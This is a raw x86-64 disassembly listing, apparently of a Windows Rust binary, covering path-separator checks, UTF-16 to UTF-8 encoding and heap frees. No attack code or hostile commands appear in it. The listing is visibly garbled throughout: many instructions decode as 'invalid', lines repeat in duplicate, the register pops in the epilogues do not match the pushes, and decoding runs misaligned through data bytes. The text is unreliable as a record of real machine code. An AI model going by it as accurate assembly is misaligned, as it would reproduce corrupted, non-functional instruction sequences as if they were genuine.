sub byte [rax - 0x73], r9b
adc eax, 0x69451
mov r8d, 0x14
call qword [rax + 0x18]
push rax
invalid
test al, al
je 0x1400d7c07
push rax
sbb byte [rax + rax*8 + 0x38eb0b74], al
jmp 0x1400d7c36
jmp 0x1400d7c36
cmp byte [rax + rax*8 - 0x7ab7cb8b], al
leave
test al, al
jne 0x1400d7c36
test rcx, rcx
jne 0x1400d7c62
mov rbx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rsi, qword [rax + 0x18]
jo 0x1400d7c2b
jo 0x1400d7c2b
mov rdx, qword [rdi + 0x30]
mov r8, qword [rdi + 0x38]
mov rcx, rbx
fcos
invalid
jmp 0x1400d7c3c
xor byte [rbx + rcx*4 + 0x47], cl
cmp byte [rax - 0x77], cl
fcos
invalid
sbb byte [r8 - 0x77], r9b
int1
call fcn.140013600
invalid
test al, al
je 0x1400d7c3a
inc dword [rax + rax*8 + 0x1b00474]
mov al, 1
jmp 0x1400d7c3c
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
push rcx
int1
invalid
call fcn.140104660
lea rax, [0x140141090]
mov qword [rsp + 0x20], rax
lea rcx, [0x140141054]
fist word [rbx - 0x72b3fffa]
or eax, 0x68cac
lodsb al, byte [rsi]
mov word [rsi], es
invalid
fist word [rbx - 0x72b3fffa]
or eax, 0x68cac
lodsb al, byte [rsi]
mov word [rsi], es
invalid
invalid
lodsb al, byte [rsi]
mov word [rsi], es
add byte [rbp + rcx*4 + 0x45], cl
lea eax, [rbp + 8]
mov edx, 0x37
lea r8, [rbp + 8]
lea eax, [rbp + 8]
mov edx, 0x37
call fcn.1401049b0
int3
int3
push r15
push r14
push r13
push rbp
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x1a8
lea rbp, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rbp + 0x120], 0xfffffffe
mov dword [rbp + 0x120], 0xfffffffe
mov rbx, r9
mov r14d, r8d
mov rax, rdx
mov qword [rbp + 0xf0], rcx
invalid
lock add byte [rax], al
add byte [rax - 0x7d], cl
cmp al, byte [rax]
mov rdx, qword [rdx + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x80]
invalid
je 0x1400d7d15
call fcn.1400d8450
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xf8], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x90]
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x118], rax
sbb byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], edx
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x118], rax
sbb byte [rcx], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x118], rax
sbb byte [rcx], al
add byte [rax], al
test r14b, r14b
jne 0x1400d8143
invalid
sbb byte [rcx], al
add byte [rax], al
test r14b, r14b
jne 0x1400d8143
jmp 0x1400d7d66
push rcx
call fcn.1400142e0
cmp qword [rbp + 0x80], 0
lea rax, [0x140146891]
invalid
add byte [rax - 0x73], cl
add eax, 0x6eb68
invalid
cmove rax, qword [rbp + 0x88]
mov qword [rbp + 0x110], rax
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax - 0x77], cl
test dword [rax], edx
add dword [rax], eax
add byte [rax + 9], bh
mov eax, 9
mov eax, 9
cmove rax, qword [rbp + 0x90]
mov qword [rbp + 0x118], rax
mov dword [rbp + 0x118], eax
add dword [rax], eax
invalid
add byte [rax - 0x77], cl
test dword [rax], ebx
add dword [rax], eax
add byte [rax - 0x48], cl
movabs rax, 0x8000000000000000
mov qword [rbp + 0xf8], rax
test r14b, r14b
test dh, dh
jne 0x1400d8143
add byte [rax], al
movabs rax, 0x8000000000000000
mov qword [rbp + 0xf8], rax
test r14b, r14b
test dh, dh
test dh, dh
jne 0x1400d8143
add eax, dword [rax]
add byte [rax - 0x75], cl
lea edx, [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x110]
mov rdx, qword [rbp + 0x118]
call case.0x14001a36d.3400
add byte [rax], al
test rbx, rbx
sete cl
xor al, 1
or al, cl
jne 0x1400d8143
invalid
add byte [rbx + rcx*4 + 0x73], cl
or byte [rax - 0x75], cl
invalid
pop rbx
mov r14, qword [rbx + 8]
jae case.0x1400b5836.719
mov rbx, qword [rbx + 0x10]
mov ebx, dword [rbx + 0x10]
adc byte [rax - 0x73], cl
lea eax, [rax + 0x48000000]
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
adc byte [rcx], al
add dword [rax], eax
invalid
lea rcx, [rbp + 0x80]
mov rdx, qword [rbp + 0x110]
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
adc byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7b], cl
mov r8, qword [rbp + 0x118]
sbb byte [rcx], al
add byte [rax], al
call fcn.1400d8910
add byte [rax], al
movzx r13d, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
add byte [rax], al
add byte [rax - 0x75], cl
lea edx, [rax + 0x48000000]
invalid
mov rax, qword [rbp + 0xa0]
mov eax, dword [rbp + 0xa0]
movabs al, byte [0x4cd5b60f41000000]
lea eax, [0x14017566c]
movzx edx, r13b
invalid
lea r8, [0x14017566c]
movsxd r9, dword [r8 + rdx*4]
or al, 0x90
add r9, r8
mov rdx, qword [rbp + 0x118]
mov edx, dword [rbp + 0x118]
mov edx, dword [rbp + 0x118]
add byte [rbx + rcx*4 - 0x7b], cl
adc byte [rcx], al
add byte [rax], al
invalid
mov r8, qword [rbp + 0x110]
add byte [rcx - 1], al
loope 0x1400d7e2d
invalid
jmp r9
add rcx, 4
add ecx, 4
jmp 0x1400d7e1e
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
invalid
ror byte [rax + 1], 1
ror dword [rax - 0x7d], 1
ror dword [rax], 0xeb
and byte [rcx + 6], bh
mov ecx, 6
mov ecx, 6
invalid
jmp 0x1400d7e1e
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x1400d7e1e
mov ecx, 2
add byte [rax - 0x75], cl
xchg ebp, eax
sbb byte [rcx], al
add byte [rax], al
invalid
mov rdx, qword [rbp + 0x118]
add byte [rax + 0x29], cl
retf 0x820f
sub rdx, rcx
jb 0x1400d839b
add byte [rax + 3], cl
lea edx, [rax]
add dword [rax], eax
add byte [rcx - 0x77], cl
enter 0xffffffffffff8548, 0xffffffffffffffd2
test rdx, rdx
add rcx, qword [rbp + 0x110]
mov r8, rcx
test rdx, rdx
je 0x1400d7e51
movzx eax, byte [r8]
cmp al, 0x2f
invalid
sete cl
cmp al, 0x5c
sete sil
or sil, cl
jmp 0x1400d7e53
invalid
xor esi, esi
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0x6f], rax
movups xmm0, xmmword [rbp + 0x81]
movups xmm1, xmmword [rbp + 0x91]
movaps xmmword [rbp + 0x60], xmm1
movaps xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov rdx, r14
mov r8, rbx
call fcn.1400d8910
movzx edx, byte [rbp + 0x80]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rbp + 0xa0]
test dword [rax + 0x4c000000], esp
lea eax, [0x140175688]
test dword [rax + 0x4c000000], esp
lea eax, [0x140175688]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rbx
mov r8, r14
jmp r9
jmp rcx
jmp rcx
add rcx, 4
jmp 0x1400d7eec
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x1400d7eec
invalid
and byte [rcx + 6], bh
mov ecx, 6
jmp 0x1400d7eec
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
add ecx, 2
add ecx, 2
jmp 0x1400d7eec
mov ecx, 2
mov rdx, rbx
sub rdx, rcx
jb case.0x1400b40f6.733
add rcx, r14
mov r8, rcx
test rdx, rdx
je 0x1400d7f15
movzx eax, byte [r8]
cmp al, 0x2f
sete cl
cmp al, 0x5c
sete al
or al, cl
jmp 0x1400d7f17
xor eax, eax
mov edx, esi
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x58], rbx
movups xmm0, xmmword [rbp + 0x80]
movups xmm1, xmmword [rbp + 0x90]
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm1
mov rcx, qword [rbp + 0xa0]
mov qword [rbp - 0x30], rcx
mov byte [rbp - 0x26], al
mov word [rbp - 0x28], 0x200
lea rsi, [rbp + 0x21]
mov bl, 2
xor r14d, r14d
mov rdi, qword [rbp + 0x118]
mov r15, qword [rbp + 0x110]
cmp r13b, 6
je 0x1400d7f91
nop dword [rax + rax]
mov rax, qword [rbp + 0x6f]
mov qword [rbp + 0x9f], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp + 0x90], xmm1
movaps xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], rdi
mov byte [rbp + 0x20], r13b
mov rax, qword [rbp + 0x9f]
mov qword [rsi + 0x1f], rax
movaps xmm0, xmmword [rbp + 0x80]
movaps xmm1, xmmword [rbp + 0x90]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov r12d, edx
mov byte [rbp + 0x4a], dl
mov byte [rbp + 0x48], r14b
mov byte [rbp + 0x49], bl
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0x10]
call fcn.1400d8dc0
lea rcx, [rbp + 0xb8]
lea rdx, [rbp - 0x60]
call fcn.1400d8dc0
movzx eax, byte [rbp + 0xb8]
cmp byte [rbp + 0x80], 0xa
je 0x1400d806c
cmp al, 0xa
je 0x1400d8074
lea rcx, [rbp + 0x80]
lea rdx, [rbp + 0xb8]
call fcn.1400d91a0
test al, al
je 0x1400d8143
mov r15, qword [rbp + 0x10]
mov rdi, qword [rbp + 0x18]
movzx r13d, byte [rbp + 0x20]
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rbp + 0x50], xmm0
movaps xmmword [rbp + 0x60], xmm1
mov rax, qword [rsi + 0x1f]
mov qword [rbp + 0x6f], rax
movzx r14d, byte [rbp + 0x48]
movzx ebx, byte [rbp + 0x49]
movzx edx, byte [rbp + 0x4a]
movzx eax, byte [rsi + 0x2e]
mov byte [rbp + 0x104], al
mov eax, dword [rsi + 0x2a]
mov dword [rbp + 0x100], eax
cmp r13b, 6
jne 0x1400d7f70
jmp 0x1400d7f91
cmp al, 0xa
jne 0x1400d8143
mov rax, qword [rbp + 0x6f]
mov qword [rbp - 1], rax
movaps xmm0, xmmword [rbp + 0x50]
movaps xmm1, xmmword [rbp + 0x60]
movaps xmmword [rbp - 0x10], xmm1
movaps xmmword [rbp - 0x20], xmm0
mov eax, dword [rbp + 0x100]
mov dword [rbp + 0x108], eax
movzx eax, byte [rbp + 0x104]
mov byte [rbp + 0x10c], al
cmp r12b, 2
je 0x1400d8143
mov rax, qword [rbp - 1]
mov qword [rbp + 0xb0], rax
movaps xmm0, xmmword [rbp - 0x20]
movaps xmm1, xmmword [rbp - 0x10]
movups xmmword [rbp + 0xa1], xmm1
movups xmmword [rbp + 0x91], xmm0
mov eax, dword [rbp + 0x108]
mov dword [rbp + 0xbb], eax
movzx eax, byte [rbp + 0x10c]
mov byte [rbp + 0xbf], al
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], rdi
mov byte [rbp + 0x90], r13b
mov byte [rbp + 0xb8], r14b
mov byte [rbp + 0xb9], bl
mov byte [rbp + 0xba], r12b
lea rcx, [rbp + 0x80]
call fcn.1400d9290
test rax, rax
je 0x1400d8143
mov r8, rdx
lea rcx, [rbp + 0x80]
mov rdx, rax
call fcn.1400142e0
cmp qword [rbp + 0x80], 0
je 0x1400d830d
add byte [rax], al
mov rax, qword [rbp + 0x110]
mov r8, qword [rbp + 0x118]
add dword [rax], eax
invalid
lea r13, [rax + r8]
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax + 0x20]
mov rsi, qword [rax + 0x28]
xor eax, eax
lea r14, [0x140146950]
mov r15b, 1
cmp rax, r8
je 0x1400d8308
mov rdx, qword [rbp + 0x110]
add rdx, rax
mov rbx, rax
mov r9, rdx
jmp 0x1400d81af
add r9, 2
cmp r8, r13
cmovne r8, r9
mov r10d, 2
nop dword [rax]
add rbx, r10
mov r9, r8
cmp r8, r13
je 0x1400d829f
lea r8, [r9 + 1]
movzx r11d, byte [r9]
mov r10d, 1
test r11b, r11b
jns 0x1400d81a0
cmp r11b, 0xe0
jb 0x1400d818b
cmp r11b, 0xed
jne 0x1400d81fa
cmp r8, r13
je 0x1400d829f
lea r8, [r9 + 2]
cmp r8, r13
je 0x1400d829f
cmp byte [r9 + 1], 0x9f
ja case.0x1400d6a4e.379
add r9, 3
mov r10d, 3
mov edx, 3
add eax, dword [rax]
add byte [rax], al
mov r8, r9
jmp 0x1400d81a0
add r9, 2
cmp r8, r13
cmove r9, r8
xor r8d, r8d
cmp r9, r13
setne r8b
add r8, r9
enter 0xffffffffffffba41, 3
add byte [rax], al
add byte [rcx - 0x80], al
sti
invalid
jb 0x1400d81a0
enter 0xffffffffffffba41, 3
add byte [rax], al
add byte [rcx - 0x80], al
sti
invalid
xor r9d, r9d
cmp r8, r13
setne r9b
add r8, r9
mov r10d, 4
add cl, ch
push 0xffffffffffffffff
invalid
invalid
mov r8, rbx
sub r8, rax
jb 0x1400d83d9
cmp rbx, qword [rbp + 0x118]
ja 0x1400d83c1
xchg dword [rdx + 1], esi
add byte [rax], al
mov rdi, qword [rsi + 0x18]
mov r12, rcx
call rdi
test al, al
jne case.0x1400d6a4e.389
mov r8d, 3
mov rcx, r12
mov rdx, r14
call rdi
test al, al
jne case.0x1400d6a4e.389
add rbx, 3
mov rax, rbx
mov r8, qword [rbp + 0x118]
cmp rbx, r8
mov rcx, r12
jbe 0x1400d8170
mov rdx, r8
lea r8, [0x140146988]
mov rcx, rbx
call fcn.140104660
jmp 0x1400d83eb
mov r8, qword [rbp + 0x118]
mov eax, dword [rbp + 0x118]
sub r8, rax
mov rdx, qword [rbp + 0x110]
add byte [rax], al
add rdx, rax
add edx, eax
test rax, rax
je 0x1400d82bd
call qword [rsi + 0x18]
jmp 0x1400d82c9
mov rcx, qword [rbp + 0xf0]
call fcn.140013600
invalid
mov bl, 0xf3
invalid
lock add byte [rax], al
add al, ch
invalid
mov r15d, eax
mov rax, qword [rbp + 0xf8]
shl rax, 1
test rax, rax
je 0x1400d82f1
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rbp + 0x110]
add bh, bh
adc eax, 0x3710f
mov eax, r15d
add rsp, 0x1a8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
mov rax, r8
jmp 0x1400d82a6
movups xmm0, xmmword [rbp + 0x88]
adc byte [rbp + 0x88], al
movups xmmword [rbp - 0x60], xmm0
adc dword [rbp - 0x60], eax
lea rax, [0x1401468c0]
lea eax, [0x1401468c0]
mov qword [rbp + 0x10], rax
lea rax, [fcn.140017ef0]
add eax, 0xfff3fbc6
adc byte [rax - 0x73], cl
add eax, 0xfff3fbc6
dec dword [rax - 0x77]
sbb byte [r8 - 0x73], r9b
sbb byte [rax - 0x73], cl
mov qword [rbp + 0x18], rax
lea rax, [rbp - 0x60]
mov qword [rbp + 0x20], rax
sbb byte [rax - 0x73], cl
movabs al, byte [0xc3058d4820458948]
mov ch, 0xf3
dec dword [rax - 0x77]
sub byte [r8 - 0x73], r9b
add eax, 0x6e558
lea rax, [0x140013900]
mov qword [rbp + 0x28], rax
lea rax, [0x1401468a0]
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], 2
mov dword [rbp + 0x88], 2
add byte [rax - 0x39], cl
test dword [rax], esp
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
test dword [rax], esp
movabs al, byte [0x4800000000000000]
lea eax, [rbp + 0x10]
invalid
invalid
movabs al, byte [0x4800000000000000]
lea rax, [rbp + 0x10]
lea eax, [rbp + 0x10]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], 2
cwde
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
test dword [rax + 0x48000000], edx
mov dword [rbp + 0x98], 2
cwde
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rbp + 0xf0]
mov rcx, qword [rax + 0x20]
mov rdx, qword [rax + 0x28]
mov edx, dword [rax + 0x28]
lea r8, [rbp + 0x80]
call fcn.140013960
invalid
invalid
jmp 0x1400d82c9
invalid
invalid
lea r8, str.library_std_srcpath.rs
add eax, 0x6dfe6
add byte [rax - 0x75], cl
xchg ebp, eax
sbb byte [rcx], al
add byte [rax], al
mov rdx, qword [rbp + 0x118]
call fcn.140104660
mov dl, 0xc2
add al, byte [rax]
jmp 0x1400d83eb
lea r8, str.library_std_srcpath.rs
mov rdx, rbx
call fcn.140104660
jmp 0x1400d83eb
lea r8, [0x140146938]
mov rcx, rbx
mov rdx, qword [rbp + 0x118]
call fcn.1401046e0
add al, byte [rax]
jo 0x1400d83ab
add al, byte [rax]
jmp 0x1400d83eb
adc cl, byte [rbp + rcx*4 + 5]
pop rax
in eax, 6
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 0xda
lea r8, [0x140146938]
lea eax, [0x140146938]
mov rcx, rax
mov rdx, rbx
call fcn.1401048e0
ud2
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax - 0x75], cl
test eax, edi
add byte [rax], al
add byte [rax - 0x2f], cl
loopne 0x1400d845f
test eax, eax
add byte [rax], 0
add byte [rax - 0x75], cl
test eax, edi
add byte [rax], al
add byte [rax - 0x2f], cl
loopne 0x1400d845f
test eax, eax
je case.0x14009f75c.811
mov rcx, qword [0x14017d208]
xor edx, edx
ror byte [rbx + rcx*4 - 0x7b], cl
adc byte [rcx], al
add byte [rax], al
ror byte [rbx + rcx*4 - 0x7b], cl
adc byte [rcx], al
add byte [rax], al
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
invalid
pop rbx
sub byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
int3
int3
int3
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
sub esp, 0x78
sub esp, 0x78
js 0x1400d84a9
lea rbp, [rsp + 0x70]
lea ebp, [rsp + 0x70]
jo 0x1400d84ae
mov qword [rbp], 0xfffffffffffffffe
mov dword [rbp], 0xfffffffe
invalid
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
test r8, r8
mov qword [rbp - 0x48], rcx
je 0x1400d84a4
js 0x1400d8768
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rbx
call fcn.1400e0010
test rax, rax
je 0x1400d876d
mov r12, rax
jmp 0x1400d84aa
mov r12d, 1
add byte [rax - 0x77], cl
pop rbp
loopne 0x1400d84fb
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], r12
mov dword [rbp - 0x18], esp
mov qword [rbp - 0x10], 0
mov byte [rbp - 8], 1
lea rsi, [rdi + rbx*2]
xor r15d, r15d
xor r14d, r14d
test r14w, r14w
test esi, esi
jne 0x1400d84f0
jmp 0x1400d8510
lea rcx, [r12 + r15]
lea rdx, [rbp - 0x40]
mov r8, r13
mov eax, ebp
ror byte [rbp - 0x77], 0xe8
call sub.VCRUNTIME140.dll_memcpy
add r15, r13
add edi, ebp
mov qword [rbp - 0x10], r15
jge 0x1400d84d7
jge 0x1400d84d7
xor r14d, r14d
test r14w, r14w
je 0x1400d8510
mov r13d, ebx
mov eax, r13d
mov eax, ebp
and eax, 0xf800
add byte [rax], al
add byte [rax], al
cmp eax, 0xd800
add byte [rax], al
jne 0x1400d85e0
jmp 0x1400d8534
add byte [rax], al
add byte [rax + 0x39], cl
cmp rdi, rsi
je 0x1400d873c
test dword [rdi], 0x22384
add byte [rdi + rcx - 0x49], al
invalid
movzx r13d, word [rdi]
add rdi, 2
mov eax, r13d
and eax, 0xf800
add al, bh
add byte [rax], al
add al, bh
add byte [rax], al
cmp eax, 0xd800
jne 0x1400d85e0
invalid
fadd dword [rax]
add byte [rdi], cl
test dword [rax + rax + 0xf410000], ebp
add byte [rcx + 0xf], al
add byte [rcx + 0xf], al
movzx eax, r13w
mov bh, 0xc5
cmp eax, 0xdbff
invalid
ja 0x1400d856b
sub al, 0x48
cmp edi, esi
invalid
cmp rdi, rsi
div dword [rsp + rbp + 0xf]
mov bh, 7
je 0x1400d8570
add rdi, 2
mov ecx, eax
add ecx, 0x2000
movzx ecx, cx
mov bh, 0xc9
leave
cmp ecx, 0xfc00
cld
add byte [rax], al
invalid
add byte [rdi], cl
or dword [rsi + 0x66000000], 0x41
mov es, word [rax]
add byte [rax], al
add byte [rsi + 0x41], ah
jae case.0x1400b9f4a.708
mov es, word [rax]
add byte [rax], al
invalid
add byte [rsi + 0x41], ah
mov r14w, 1
mov ebx, eax
ret
mov esi, 0xc3890001
ret
jmp 0x1400d8576
xor r14d, r14d
jmp 0x1400d8576
invalid
imul bl
invalid
test esi, 0x4800f845
mov eax, dword [rbp - 0x20]
invalid
invalid
mov byte [rbp - 8], 0
mov rax, qword [rbp - 0x20]
loopne 0x1400d85cb
loopne 0x1400d85cb
sub rax, r15
sub eax, edi
cmp rax, 2
ja 0x1400d859d
invalid
clc
add dh, byte [rdi + 0x16]
invalid
invalid
mov r8d, 3
add byte [rax], al
lea rcx, [rbp - 0x20]
mov rdx, r15
call fcn.14010c590
mov r15, qword [rbp - 0x10]
mov edi, dword [rbp - 0x10]
mov eax, r13d
shr eax, 6
and al, 0x3f
call 0x164146e65
invalid
or al, 0x80
and r13b, 0x3f
or r13b, 0x80
or ch, 0x80
or ch, 0x80
mov r12, qword [rbp - 0x18]
mov byte [r12 + r15], 0xed
call 0x17c124bfa
in eax, dx
mov byte [r12 + r15 + 1], al
mov byte [rsp + rdi + 1], al
mov byte [r12 + r15 + 2], r13b
add r15, 3
mov qword [rbp - 0x10], r15
mov dword [rbp - 0x10], edi
add cl, byte [rcx - 0x7d]
mov dword [rbx], 0xf07d894c
mov dword [rbp - 0x10], edi
mov dword [rbp - 0x10], edi
test r14w, r14w
test r14d, r14d
jne 0x1400d84f0
test dword [rdi + rdi*8], ebx
invalid
jmp 0x1400d8510
invalid
nop dword [rax]
add byte [rax], al
add byte [rcx - 0x3f], al
in eax, 0x10
invalid
shl r13d, 0x10
adc bl, ch
xor esp, dword [rsi + 0x2e]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x1400d8619
invalid
movzx eax, ax
and r13d, 0x3ff
in eax, 0xff
add eax, dword [rax]
add byte [0x1400d89fe], ah
in eax, 0xff
add eax, dword [rax]
add byte [0x1400d89fe], ah
shl r13, 0x1a
shl eax, 0x10
or rax, r13
movabs rcx, 0x100000000
add rax, rcx
mov r13, rax
mov rax, r13
shr rax, 0x10
mov dword [rbp - 0x40], 0
cmp eax, 0x80
add byte [rax], al
jae 0x1400d8650
add byte [0x1400d8e55], dil
jae 0x1400d8690
shr r13d, 0x16
or r13b, 0xc0
mov byte [rbp - 0x40], r13b
shl byte [rdi + rdi], 0xc
or byte [rax - 0x42be3ebb], 2
rol dword [rcx - 0x43], 2
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x1400d86c1
sub eax, edi
clc
shl byte [rdi + rdi], 0xc
or byte [rax - 0x42be3ebb], 2
rol dword [rcx - 0x43], 2
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x1400d86c1
clc
cmp rax, r13
jae 0x1400d84d0
jmp 0x1400d8720
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov rcx, r13
cmp eax, 0xffff
ja 0x1400d86d3
shr rcx, 0x1c
or cl, 0xe0
mov byte [rbp - 0x40], cl
shr r13d, 0x16
in eax, dx
invalid
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp - 0x3f], r13b
insd dword [rdi], dx
shl dword [rdi + rdi], 0xc
or byte [rax - 0x42be3dbb], 3
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x1400d8712
sub eax, edi
in eax, dx
invalid
insd dword [rdi], dx
shl dword [rdi + rdi], 0xc
or byte [rax - 0x42be3dbb], 3
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x1400d8712
sub eax, edi
cmp rax, r13
cmp eax, ebp
jae 0x1400d84d0
jmp 0x1400d8720
shr rcx, 0x22
or cl, 0xf0
mov byte [rbp - 0x40], cl
mov rcx, r13
shr rcx, 0x1c
jmp 0x17fef0703
jmp 0x17fef0703
loope case.0x1400b9f4a.710
or cl, 0x80
mov byte [rbp - 0x3f], cl
shr r13d, 0x16
and r13b, 0x3f
or r13b, 0x80
mov byte [rbp - 0x3e], r13b
and al, 0x3f
or al, 0x80
or byte [rax - 0x42be3cbb], 4
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x1400d875b
sub eax, edi
or byte [rax - 0x42be3cbb], 4
add byte [rax], al
add byte [rax - 0x75], cl
loopne 0x1400d875b
sub eax, edi
cmp rax, r13
cmp eax, ebp
jae 0x1400d84d0
nop word [rax + rax]
nop dword [rax + rax]
lea rcx, [rbp - 0x20]
lea ecx, [rbp - 0x20]
mov rdx, r15
cli
mov r8, r13
call fcn.14010c590
mov r12, qword [rbp - 0x18]
mov r15, qword [rbp - 0x10]
jmp 0x1400d84d0
movups xmm0, xmmword [rbp - 0x20]
movups xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
mov rax, qword [rbp - 0x48]
mov r8d, 0x1048110f
mov r8d, 0x1048110f
movups xmmword [rax], xmm0
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
call fcn.140010910
mov ecx, 1
mov rdx, rbx
call fcn.140104360
int3
in al, dx
sub byte [rax - 0x73], cl
push 0x70
cmp qword [rbp - 0x20], 0
je 0x1400d87b3
mov r8, qword [rbp - 0x18]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
invalid
pop rbx
sub byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
push rbp
push rsi
push rdi
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov rsi, rdx
mov rdi, rcx
mov edi, ecx
mov edi, ecx
lea rcx, [rbp - 0x28]
mov rdx, rdi
mov edx, edi
mov r8, rsi
call fcn.1400d8910
movzx eax, byte [rbp - 0x28]
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov edx, dword [rbp - 8]
mov edx, dword [rbp - 8]
clc
movzx r8d, al
lea r9, [0x1401756a4]
lea ecx, [0x1401756a4]
add byte [rdi + 0x63], cl
adc al, 0x81
movsxd r10, dword [r9 + r8*4]
add r10, r9
mov r8, rsi
mov r9, rdi
jmp r10
jmp rdx
add rcx, 4
jmp case.0x1400d6a4e.398
xor al, 0x4c
lea eax, [rdx + 1]
invalid
invalid
lea r8, [rdx + 1]
add dword [rax - 0x7b], ecx
test rdx, rdx
cmove r8, rdx
invalid
invalid
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
invalid
ret 0x14c
add rcx, r8
add rcx, 8
jmp case.0x1400d6a4e.398
and byte [rcx + 6], bh
mov ecx, 6
invalid
jmp case.0x1400d6a4e.398
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add ecx, eax
add rcx, 2
add ecx, 2
jmp case.0x1400d6a4e.398
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov r8, rsi
sub r8, rcx
enter 0xffffffffffff820f, 0xffffffffffffff9d
add byte [rax], al
invalid
enter 0xffffffffffff820f, 0xffffffffffffff9d
add byte [rax], al
add byte [rax + 1], cl
stc
add rcx, rdi
mov r9, rcx
mov ecx, ecx
test r8, r8
je 0x1400d8877
movzx ecx, byte [r9]
cmp ecx, 0x2f
je 0x1400d887b
cmp ecx, 0x5c
stc
pop rsp
je 0x1400d887b
cmp al, 4
ja case.default.0x1400d88a8
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
fmul dword [r8 - 0x77]
cli
mov rdx, rdi
mov r8, rsi
call fcn.1400d8910
movzx eax, byte [rbp - 0x28]
mov rcx, qword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
mov ecx, dword [rbp - 0x18]
call 0x1386313de
call 0x1386313de
mov rdx, qword [rbp - 8]
movzx r8d, al
mov dh, 0xc0
ror byte [rbp + rcx*4 + 0xd], 0x1f
invalid
lea r9, [0x1401756c0]
lea ecx, [0x1401756c0]
